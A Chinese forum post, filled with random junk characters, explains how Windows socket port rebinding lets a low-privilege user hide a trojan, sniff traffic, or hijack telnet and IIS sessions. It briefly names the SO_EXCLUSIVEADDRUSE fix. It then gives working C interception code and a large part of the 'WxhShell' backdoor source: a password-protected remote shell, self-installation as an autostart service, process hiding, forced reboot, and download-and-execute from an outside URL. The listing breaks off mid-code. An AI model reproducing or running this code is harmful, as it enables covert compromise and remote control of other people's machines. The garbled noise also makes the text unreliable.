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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: R .,w`<<  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); :c\NBKHv*  
',.Xn`c  
  saddr.sin_family = AF_INET; `bi5#xR  
GRNH!:e  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); `hbM 2cM  
N7[~Y2i  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); &CS=*)>$  
\"Np'$4eu  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 P?I"y,_ p  
XjV7Ew^7  
  这意味着什么?意味着可以进行如下的攻击: - na]P3 s  
f~53:;L/  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 bY`k`3v  
E yNCky  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) /<n_X:[)  
Fax73vl|^a  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 u`ZnxD>  
=Vi+wH{xM  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  , vR4x:W  
}\9qN!ol  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Q5Wb)  
]UNmhF!W>u  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 2Bx\nLf/ K  
Q<M>+U;t  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 u}pLO9V"`  
D=3NI  
  #include R_-.:n%.z  
  #include %rf<YZ.\  
  #include C 9DRVkjj  
  #include    0_ ;-QAd  
  DWORD WINAPI ClientThread(LPVOID lpParam);   |{$Vk%cUE  
  int main() R8mL|Vb|  
  { H6L`239u  
  WORD wVersionRequested; {3l] /X3  
  DWORD ret; v +7<}  
  WSADATA wsaData; a{y ;Ub  
  BOOL val; cc@y  
  SOCKADDR_IN saddr; TG!sck4/-Q  
  SOCKADDR_IN scaddr; n|8fdiK#}  
  int err; /m%;wH|6%  
  SOCKET s; +Ix;~  
  SOCKET sc;  G=wJz  
  int caddsize; 1vX97n<}  
  HANDLE mt; Y M5;mPR  
  DWORD tid;   qLcs)&}/A  
  wVersionRequested = MAKEWORD( 2, 2 ); F&ux9zP  
  err = WSAStartup( wVersionRequested, &wsaData ); -ohqw+D  
  if ( err != 0 ) { <FP&1Eg!|  
  printf("error!WSAStartup failed!\n"); 0(]C$*~mk  
  return -1; VLRW,lR9O  
  } Wu:evaZ:i  
  saddr.sin_family = AF_INET; `CRW2^g  
   {`{U\w5Af  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 R+P1 +5  
`}18A.K  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); t1D6#JP(a  
  saddr.sin_port = htons(23); @xmL?wz  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 7%C6gU!r  
  { BYRf MtT@+  
  printf("error!socket failed!\n"); SI-s:%O  
  return -1; M-eX>}CDm  
  } -2f_e3jF  
  val = TRUE; Lb(=:Z!{  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 B%[Yu3gBo  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) [/'W#x  
  { oB+drDp8U  
  printf("error!setsockopt failed!\n"); x2 l~aw#?  
  return -1; e~xN[Q\0]  
  } |'.\}xt7  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; BjSLbw-C  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 )[>{ Ie2  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Py K)ks!6  
>Ka}v:E  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) u1rT:\G1  
  { y4+Km*am,W  
  ret=GetLastError(); $vx]\` ^  
  printf("error!bind failed!\n"); L~>pSP^a  
  return -1; wgY: W:y'N  
  } ttgb"Wb%S  
  listen(s,2); ]e!9{\X,*  
  while(1) 4/cUd=>Z  
  { 6,| !zaeS  
  caddsize = sizeof(scaddr); yoQ}m/Cj  
  //接受连接请求 udgf{1EB&2  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); "luMz;B  
  if(sc!=INVALID_SOCKET) uvi+#4~G  
  { ji5c0WH  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); `StlG=TB8  
  if(mt==NULL) b{_J%p  
  { mqQN*.8*  
  printf("Thread Creat Failed!\n"); YB*I'm3q  
  break; ibha`  
  } T:dV[3  
  } "|`euxYV  
  CloseHandle(mt); )17CG*K1  
  } CKCot  
  closesocket(s); qi!+ Ceo}  
  WSACleanup(); 5NH NnDhuL  
  return 0; T@Mrbravc  
  }   lG6P+ Z/nf  
  DWORD WINAPI ClientThread(LPVOID lpParam) 'a[|'  
  { t[ cHdI  
  SOCKET ss = (SOCKET)lpParam; .]24V!J(1w  
  SOCKET sc; q-}q rg  
  unsigned char buf[4096]; 4J{6Wt";  
  SOCKADDR_IN saddr; $9bLD >.  
  long num; opc`n}Fc  
  DWORD val; /?VwoSgV^  
  DWORD ret; g[4pG`z  
  //如果是隐藏端口应用的话,可以在此处加一些判断 &#_c,c;  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ^zn&"@  
  saddr.sin_family = AF_INET; J#ujIe  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); QY|Rz(;m  
  saddr.sin_port = htons(23); hT go  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 3RJsH :u8  
  { vq/3a  
  printf("error!socket failed!\n"); 0o7*5| T4  
  return -1; /fv;`?~d*  
  } #TS:| =  
  val = 100; ,v,#f .  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Qh3BI?GZ'3  
  { }LeizbU  
  ret = GetLastError(); wwUa+6?  
  return -1; Ce_k&[AJF  
  } _Oc5g5_{  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) -?nr q <3  
  { O/ybqU\7  
  ret = GetLastError(); &L`^\B]k|  
  return -1; VH M&Y-G  
  } FLUvFD  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ~xCv_u^=  
  { 2+s#5K&i  
  printf("error!socket connect failed!\n"); owQSy9Az  
  closesocket(sc); zo83>bt  
  closesocket(ss); P@| W \  
  return -1; $Y`oqw?g+^  
  } 3n_N^q}  
  while(1) 7bSj[kuN  
  { sBm)D=Kll  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 LT[g +zGB  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 c]}F$[>oN'  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ?&Ug"$v  
  num = recv(ss,buf,4096,0); XSHK7vpMf  
  if(num>0) N(s5YX7<hd  
  send(sc,buf,num,0); wAD%1;  
  else if(num==0) l$Y*ii  
  break; pT|l"q@  
  num = recv(sc,buf,4096,0); tzJ7wXRr  
  if(num>0) aGBUFCCa  
  send(ss,buf,num,0); u43W.4H13  
  else if(num==0) [|&#A;{F#  
  break; G9_7jX*  
  } \~X:ffb =  
  closesocket(ss); #fy3 i+  
  closesocket(sc); :_k5[KT.]9  
  return 0 ; \:-"?  
  } /L{V3}[j  
fb+_]{7g  
*q;u%; 4  
========================================================== xB`j* %  
}i$ER,hXh  
下边附上一个代码,,WXhSHELL iVT)V>Up  
9$f%  
========================================================== +R"Y~ m{F  
$:|?z_@  
#include "stdafx.h" o4U0kiI@  
8B! MgNKV  
#include <stdio.h> C&HN#Q_  
#include <string.h> 56o(gCj?y  
#include <windows.h> Q2qT[aD,  
#include <winsock2.h> *Za'^Z2  
#include <winsvc.h> AcP d(Pc  
#include <urlmon.h> P](/5KrK  
.no<#l  
#pragma comment (lib, "Ws2_32.lib") ULH<FDot  
#pragma comment (lib, "urlmon.lib") @)XR  
Tm\a%Z`U>  
#define MAX_USER   100 // 最大客户端连接数 >=1Aa,_tc  
#define BUF_SOCK   200 // sock buffer U3u j`Oq  
#define KEY_BUFF   255 // 输入 buffer (}m2}  
(&MtK1;;  
#define REBOOT     0   // 重启 %/oeV;D  
#define SHUTDOWN   1   // 关机 Cz|F%>y#  
NK\0X5##.  
#define DEF_PORT   5000 // 监听端口 i&^]qL|J  
AO]k*N,N  
#define REG_LEN     16   // 注册表键长度 LEuDDJ -  
#define SVC_LEN     80   // NT服务名长度 (<2!^v0.M  
y!8m7a  
// 从dll定义API E(F?o.b  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); jP#I](\eG  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 1>=%TIO)  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); m*|G 2  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); @4G{L8Q}  
@>*r2=#14  
// wxhshell配置信息 `y>BbJqy  
struct WSCFG { &$bcB]C\3  
  int ws_port;         // 监听端口 '>cZ7:  
  char ws_passstr[REG_LEN]; // 口令 068DC_  
  int ws_autoins;       // 安装标记, 1=yes 0=no +2+|zXmT  
  char ws_regname[REG_LEN]; // 注册表键名 XTJA"y  
  char ws_svcname[REG_LEN]; // 服务名 "m > BE  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 4Ss*h,Y  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 `m}G{jfk  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Y0yu,   
int ws_downexe;       // 下载执行标记, 1=yes 0=no ~p?D[]h  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 3S .2  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 @ 3rJ$6W  
3"Zc|Ck <?  
}; O"}O~lZ[6T  
+w?-#M#  
// default Wxhshell configuration !t[;~`d9  
struct WSCFG wscfg={DEF_PORT, qND:LP\_v  
    "xuhuanlingzhe", SohNk9u[8  
    1, E|3[$?=R  
    "Wxhshell", </pt($  
    "Wxhshell", @HE<\Z{ KI  
            "WxhShell Service", .P#t"oW}  
    "Wrsky Windows CmdShell Service", + B<7]\\M  
    "Please Input Your Password: ", N6Dv1_c,  
  1, MU4BAN   
  "http://www.wrsky.com/wxhshell.exe", 87F]a3  
  "Wxhshell.exe" e=+q*]>  
    }; :w]NN\  
v}\Fbe  
// 消息定义模块 d ATAH}r&  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; [HhaBy9  
char *msg_ws_prompt="\n\r? for help\n\r#>"; u"MfxW`  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; #y'p4Xf  
char *msg_ws_ext="\n\rExit."; 7^;-[? l  
char *msg_ws_end="\n\rQuit."; $9h^tP'CV  
char *msg_ws_boot="\n\rReboot..."; Pv|sPIIB7  
char *msg_ws_poff="\n\rShutdown..."; ymn@1BA8J  
char *msg_ws_down="\n\rSave to "; Yfx?3  
liBFx6\"S  
char *msg_ws_err="\n\rErr!"; Wr@q+Whq  
char *msg_ws_ok="\n\rOK!"; z SjZTA/Z  
j$<g8Bg=o  
char ExeFile[MAX_PATH]; 85q!FpuH  
int nUser = 0; `_sKR,LhB  
HANDLE handles[MAX_USER]; XqGa]/;}  
int OsIsNt; cSjX/%*!m  
xt6%[)  
SERVICE_STATUS       serviceStatus; 3L-$+j~u  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 'Z|Czd8E  
^ U);MH8  
// 函数声明 O;$}j:;KF  
int Install(void); p0D@O_ :5  
int Uninstall(void); |9Y~k,rF  
int DownloadFile(char *sURL, SOCKET wsh); y7,t "XV  
int Boot(int flag); L#WGOl  
void HideProc(void); "EVf1iQ  
int GetOsVer(void); '!`| H 3  
int Wxhshell(SOCKET wsl); 9rIv-&7'm  
void TalkWithClient(void *cs); ixL[(*V  
int CmdShell(SOCKET sock); TEla?N  
int StartFromService(void); ^x Z=";eq  
int StartWxhshell(LPSTR lpCmdLine); Uu|2!}^T  
4b+_|kYb  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); VR'zm\< D  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); >%5GMx>m  
ltyhYPS  
// 数据结构和表定义 s )Xz}QPK.  
SERVICE_TABLE_ENTRY DispatchTable[] = ']d(m?  
{ vsPIvW!V  
{wscfg.ws_svcname, NTServiceMain}, S_ra8HY8  
{NULL, NULL} 5~$WSL?O)  
}; HIUP =/x  
<?:h(IZe[  
// 自我安装  hOYX  
int Install(void) <nK@+4EH"o  
{ ~.#57g F"  
  char svExeFile[MAX_PATH]; _bRgr  
  HKEY key; a5(9~. 9  
  strcpy(svExeFile,ExeFile); Z{gDEo)  
|WNI[49  
// 如果是win9x系统,修改注册表设为自启动 F$'po#  
if(!OsIsNt) { t~$8sG\  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { P~V ^Efz{  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); J\ N&u#  
  RegCloseKey(key); &XW ~l>!+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 5=fS^]- F  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )(rr1^Xer  
  RegCloseKey(key); ^Nt^.xi7  
  return 0; w4R~0jXy  
    } nGsFt.  
  } q^uCZnkb=  
} NZlCn:"  
else { [!Djs![O  
-0I&dG-  
// 如果是NT以上系统,安装为系统服务 b!`6s  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); YDZB$?&a  
if (schSCManager!=0) c[;A$P= 8.  
{ xiL+s-   
  SC_HANDLE schService = CreateService sGh TP/  
  ( JxKd  
  schSCManager, /8u}VYE  
  wscfg.ws_svcname, a/3yn9`sQ  
  wscfg.ws_svcdisp, "yl6WG# J  
  SERVICE_ALL_ACCESS, >jnx2$  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , :;IZ|hU  
  SERVICE_AUTO_START, lanU)+U.  
  SERVICE_ERROR_NORMAL, t3*.Bm:^  
  svExeFile, }2^qM^,0  
  NULL, W e*uZ?+  
  NULL, $@w ,9J\  
  NULL, ^E)8Sb9t  
  NULL, zn0%%x+!g  
  NULL oTr,zRL  
  ); e.Q'l/g  
  if (schService!=0) ;iQw2XhT  
  { y-S23B(  
  CloseServiceHandle(schService); \?|^w.  
  CloseServiceHandle(schSCManager); 0g Hd{H=  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); @i#=1)Ze  
  strcat(svExeFile,wscfg.ws_svcname); yTNHM_P  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { IsVR4t]  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); YS<KyTb"  
  RegCloseKey(key); Q'Uv5p"X  
  return 0; 7UqDPEXU]`  
    } 4QYStDFe  
  } vbtjPse  
  CloseServiceHandle(schSCManager); eT?vZH[N  
} `uqe[u;`6  
} k^#*x2b  
7W+{U0 2O  
return 1; '}OAl  
} iG"1~/U  
E_P,>f  
// 自我卸载 Pj*]%V  
int Uninstall(void) |h&okR+_,  
{ JUJrtK S  
  HKEY key; di ]CYLf  
b(adM3MP  
if(!OsIsNt) { L-m' #  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [#AI!-  
  RegDeleteValue(key,wscfg.ws_regname); n\$.6 _@x  
  RegCloseKey(key); L+mHeS l  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { k4!p))ql  
  RegDeleteValue(key,wscfg.ws_regname); H`yUSB IP  
  RegCloseKey(key); T hVq5  
  return 0; &V%faa1  
  } sp_19u  
} 2_Zn?#G8dl  
} z~i>GN_  
else {  .4Mc4'  
+ (`.pa z@  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); %WqUZ+yy  
if (schSCManager!=0) vrh2}biCR  
{ U.=TjCW  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); U} Pr1  
  if (schService!=0) B7S)L#l_\  
  { bU}l*"  
  if(DeleteService(schService)!=0) { Moi>Dp  
  CloseServiceHandle(schService); hVCxwTg^X  
  CloseServiceHandle(schSCManager); e?\hz\^  
  return 0; mZ0_^  
  } 8M]QDgd.  
  CloseServiceHandle(schService); D+w ?  
  } ty@D3l  
  CloseServiceHandle(schSCManager); {@'#|]4y.  
} R <&U]%FD  
} g3!<A*<  
)Ofwfypc  
return 1; .$+,Y4q~(  
} Ax9A-|  
1M?Sl?+j  
// 从指定url下载文件 gQeoCBCE  
int DownloadFile(char *sURL, SOCKET wsh) n<eK\ w  
{ k`\L-*:Ji  
  HRESULT hr; +xU=7chA  
char seps[]= "/"; 7c<_j55(  
char *token; "y ;0}9]n1  
char *file; jS|jPk|I.  
char myURL[MAX_PATH]; ,o0[^-b<  
char myFILE[MAX_PATH]; s -F3(mc(  
:#UA!| nV  
strcpy(myURL,sURL); M?DXCsZ,)s  
  token=strtok(myURL,seps); $_|jI ^  
  while(token!=NULL) n8q%>.i7  
  { Z5*O\kJv  
    file=token;   [ L  
  token=strtok(NULL,seps);  ,0i72J  
  } MB6lKLy6~  
nFefDdP  
GetCurrentDirectory(MAX_PATH,myFILE); @-ir  
strcat(myFILE, "\\"); ,fhwDqR ?  
strcat(myFILE, file); l\u5RMS('  
  send(wsh,myFILE,strlen(myFILE),0); 3'7X[{uBr  
send(wsh,"...",3,0); n0uL^{B  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); VT;cz6"6b4  
  if(hr==S_OK) _z#S8Y  
return 0; H.O&seY  
else ir_X65l/2  
return 1; N`vPt?@  
mE9ytFH\k  
} /~g.j1g  
d:h X3  
// 系统电源模块 +('=Ryo T  
int Boot(int flag) J|8 u  
{ JK'tdvs~  
  HANDLE hToken; 1V]j8  
  TOKEN_PRIVILEGES tkp; 9 vNz yh\  
o<g1;  
  if(OsIsNt) { Wa iM\h?=#  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); & 5'cN  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); /vqsp0e"H  
    tkp.PrivilegeCount = 1; 3B4C@ {  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; i}C%`1+(  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Qs 'dwc  
if(flag==REBOOT) { ~S0T+4$  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) l i%8X.  
  return 0; \'B%lXh  
} |e2s{J2   
else { LO k J  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 1R#1Fy%  
  return 0; wy""02j  
} O5JG!bGE_F  
  } q=k[]vD  
  else { zH *7!)8  
if(flag==REBOOT) { *{=q:E$  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Emv9l~mIu  
  return 0; ]/Cu,mX  
} 2'?C  
else { `yM9XjEl>  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) TEbE-h0)]  
  return 0; hNF,sA  
} _!o0bYD  
} e?e oy|  
tSiQr I  
return 1; ?1H>k<Jp  
} wR9gx-bE 4  
0fa8.g#I$  
// win9x进程隐藏模块 vARZwIu^D  
void HideProc(void) :]`JcJ  
{ %z["TVH  
eGI&4JgJ.  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 'uLYah  
  if ( hKernel != NULL ) (U*Zz+ R   
  { J*qo3aJjE  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); / KKA/  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); A$]#f  
    FreeLibrary(hKernel); 9|>5;Ej  
  } T{Yk/Z/}?  
*35o$P46  
return; wtfM }MW\  
} D!bi>]Yd  
<-!' V,c  
// 获取操作系统版本 ZIaFvm&q7Z  
int GetOsVer(void) ?M04 cvm  
{ -raZ6?Zjc  
  OSVERSIONINFO winfo; 5:l"*  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); dg;E,'e_ p  
  GetVersionEx(&winfo); P~@I`r567  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 'WoB\y569  
  return 1; P1"g62R  
  else \6,Z<.I  
  return 0; _;k))K^  
} iBqIV  
/ gE9 W  
// 客户端句柄模块  w1t0X{  
int Wxhshell(SOCKET wsl) !)uXCg9U  
{ D o!]t7Y$  
  SOCKET wsh; Q8bn|#`  
  struct sockaddr_in client; 6hqqZ  
  DWORD myID; T!Uf PfEI  
jHc/ EZB  
  while(nUser<MAX_USER) oX[I4i%G  
{ P)hawH=  
  int nSize=sizeof(client); x_x|D|@wM  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 9q"G g?  
  if(wsh==INVALID_SOCKET) return 1; h>"Z=y  
cP8@'l@!  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Ijs=4f  
if(handles[nUser]==0) Nv\<>gA:  
  closesocket(wsh); f{#Mc  
else ,CnUQx0  
  nUser++; /Pa<I^-#  
  } 90+Hv:wF  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Jv:|J DZ'  
t($z+ C<  
  return 0; 6bt{j   
} 9;EY3[N  
 SwmX_F#_  
// 关闭 socket K#plSD^f=  
void CloseIt(SOCKET wsh) +,bgOq\aG  
{ LP}YH W/  
closesocket(wsh); x`p3I*_HT5  
nUser--; .y~~[QF}8  
ExitThread(0); "RsH'`  
} yykyvy  
7:&a,nU  
// 客户端请求句柄 8R.`*  
void TalkWithClient(void *cs) D{s4Bo-  
{ 3S1`av(tD  
+4Lj}8,  
  SOCKET wsh=(SOCKET)cs; p:8]jD@}%  
  char pwd[SVC_LEN]; kA&ul  
  char cmd[KEY_BUFF]; wGA%h.[M|  
char chr[1]; 1z=}`,?>  
int i,j; }ilX 2s?>  
:a9$f8*b  
  while (nUser < MAX_USER) { " qrL:,   
%b`B.A  
if(wscfg.ws_passstr) { 0qD.OF)8  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^->vUf7PX  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !<MW*7P=  
  //ZeroMemory(pwd,KEY_BUFF); =DXvt5G  
      i=0; IctLhYZ  
  while(i<SVC_LEN) { ]lzOz<0q  
Dv+:d4|"  
  // 设置超时 `z3"zso  
  fd_set FdRead; BcD%`vGJ  
  struct timeval TimeOut; e\>g@xE%  
  FD_ZERO(&FdRead); WjMP]ND#c  
  FD_SET(wsh,&FdRead); f= l*+QY8f  
  TimeOut.tv_sec=8; U*em)/9  
  TimeOut.tv_usec=0; Voc&T+A m  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 9 TW  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); TVFxEV7Fx  
<(-4?"1  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9 !qVYU42(  
  pwd=chr[0]; ^o*$+DbC  
  if(chr[0]==0xd || chr[0]==0xa) { zs@[!?A,  
  pwd=0; &b&o];a  
  break; y2Z1B2E%f  
  } vR"<:r47?  
  i++; hTbot^/  
    } t9 m],aH  
esQRg~aCGy  
  // 如果是非法用户,关闭 socket tc<t%]c  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); )?PRG=  
} UQ 'U 4q  
R|H_F#eVn}  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); \:wLUGFl 5  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \ g[A{  
6WnGP>tc.  
while(1) { 7 }sj&  
6KI< J*Wz`  
  ZeroMemory(cmd,KEY_BUFF); )hai?v~g  
S=~8nr/V  
      // 自动支持客户端 telnet标准    %;9+`U  
  j=0; r#[YBaCZJ  
  while(j<KEY_BUFF) { OHha5n  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0,`$KbV\  
  cmd[j]=chr[0]; E={W^k!Vz:  
  if(chr[0]==0xa || chr[0]==0xd) { :WBl0`kW]4  
  cmd[j]=0;  g8_IZ(%:  
  break; h/%Hk;|9  
  } \4`2k  
  j++; $R<eXDW6:  
    } DweWFipyPi  
\i#0:3s.  
  // 下载文件 +C !A@  
  if(strstr(cmd,"http://")) { r3b~|O^}  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); &c!=< <5M  
  if(DownloadFile(cmd,wsh)) s~6irf/  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5K*-)F ]  
  else wfrWpz=FO  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?RD)a`y51  
  } )(pJ~"'L  
  else { h&6x.ps@  
lEC58`Ws  
    switch(cmd[0]) { P&Q 5ZQb  
  3It'!R8$  
  // 帮助 jTx,5s-  
  case '?': { [Pt5c6L:  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); V-w[\u  
    break; ynN[N(m#  
  } G{ $Zg  
  // 安装 %R{clbbbn  
  case 'i': { -h8!O+7 .  
    if(Install()) }?Y+GT"E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); VmB/X))   
    else 1v&!`^G99j  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ? I}T[j  
    break; z {J1pH_X  
    } a;Y9wn  
  // 卸载 (Rk g  
  case 'r': { w`Dzk. 2  
    if(Uninstall()) EF{_-FXY  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -3r&O:  
    else !lF|90=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6X:- Z 3  
    break; #| 8!0]n'  
    } Sk$ XC  
  // 显示 wxhshell 所在路径 dR_hPBn/@  
  case 'p': { w`VmN}pR  
    char svExeFile[MAX_PATH]; y o[!q|z  
    strcpy(svExeFile,"\n\r"); |[TH ~ o  
      strcat(svExeFile,ExeFile); viBf" .  
        send(wsh,svExeFile,strlen(svExeFile),0); 2Xgw7` !L  
    break; D] 2+<;>`>  
    } 0nz k?iP  
  // 重启 8L 9;VY^Y  
  case 'b': { I=^%l7  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); )[)-.{q  
    if(Boot(REBOOT)) 4f"a/(>*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]IJ.}  
    else { b,G+=&6u  
    closesocket(wsh); Bd"7F{H  
    ExitThread(0); <S0!$.Kg*<  
    } f K^FD&sF  
    break; ki^[~JS>'  
    } N2tvP+Z6D  
  // 关机 Y^S0K'N  
